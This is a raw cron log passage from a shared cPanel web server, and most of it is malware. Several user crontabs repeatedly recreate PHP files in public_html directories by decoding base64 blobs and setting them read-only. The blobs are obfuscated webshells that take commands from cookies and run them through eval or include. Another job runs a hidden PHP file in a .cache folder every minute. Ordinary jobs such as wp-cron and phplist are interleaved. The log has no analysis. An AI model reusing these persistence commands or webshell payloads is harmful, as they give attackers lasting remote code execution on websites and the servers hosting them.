ICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:16:02 medusa CROND[10090]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:16:02 medusa CROND[10091]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:16:02 medusa CROND[10092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:16:02 medusa CROND[10093]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:16:02 medusa CROND[10095]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:16:02 medusa CROND[10098]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:16:02 medusa CROND[10103]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:17:02 medusa CROND[11789]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:17:02 medusa CROND[11790]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:17:02 medusa CROND[11791]: (firadio) CMD (php -q /home/firadio/public_html/phplist/admin/index.php -pprocessqueue -c/home/firadio/public_html/phplist/config/config.php >/dev/null)
Jun  7 08:17:02 medusa CROND[11792]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:17:02 medusa CROND[11793]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Jun  7 08:17:02 medusa CROND[11794]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:17:02 medusa CROND[11797]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:17:02 medusa CROND[11798]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:17:02 medusa CROND[11801]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 08:17:02 medusa CROND[11800]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:17:02 medusa CROND[11802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:17:02 medusa CROND[11803]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:17:02 medusa CROND[11799]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:17:02 medusa CROND[11806]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:17:02 medusa CROND[11812]: (imercado) CMD (/usr/local/cpanel/3rdparty/bin/php -q /home/imercado/public_html/phplist/admin/index.php -pprocessqueue -c/home/imercado/public_html/phplist/config/config.php >/dev/null)
Jun  7 08:18:02 medusa CROND[13461]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 08:18:02 medusa CROND[13462]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:18:02 medusa CROND[13465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:18:02 medusa CROND[13466]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:18:02 medusa CROND[13467]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:18:02 medusa CROND[13468]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:18:02 medusa CROND[13469]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:18:02 medusa CROND[13473]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo 